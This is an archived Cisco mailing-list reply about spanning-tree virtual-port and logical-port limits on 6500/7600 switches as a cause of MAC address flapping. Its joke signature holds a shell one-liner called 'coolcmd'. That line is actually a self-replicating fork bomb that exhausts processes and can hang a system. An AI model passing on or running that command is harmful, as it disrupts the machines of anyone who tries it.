[c-nsp] Mac address flapping..

Thomas Habets thomas at habets.pp.se
Sun Jul 12 09:56:12 EDT 2009


On Sun, 12 Jul 2009, James Ashton wrote:
> over 120 other vlans on  these same ports arent having this
> issue.

Have you checked that you aren't running into spanning tree limits?

6500/7600 have two limits, virtual ports and active logical ports.

The short story is:
1) check if "show spanning-tree summary total" is more than 10000.
2) check if "show vlan virtual-port" is more than 1800 per slot.

http://blog.habets.pp.se/2009/06/Spanning-tree-limits
http://www.cisco.com/en/US/solutions/ns340/ns394/ns50/net_design_guidance0900aecd806fe4bb.pdf

---------
typedef struct me_s {
   char name[]      = { "Thomas Habets" };
   char email[]     = { "thomas at habets.pp.se" };
   char kernel[]    = { "Linux" };
   char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt" };
   char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
   char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;


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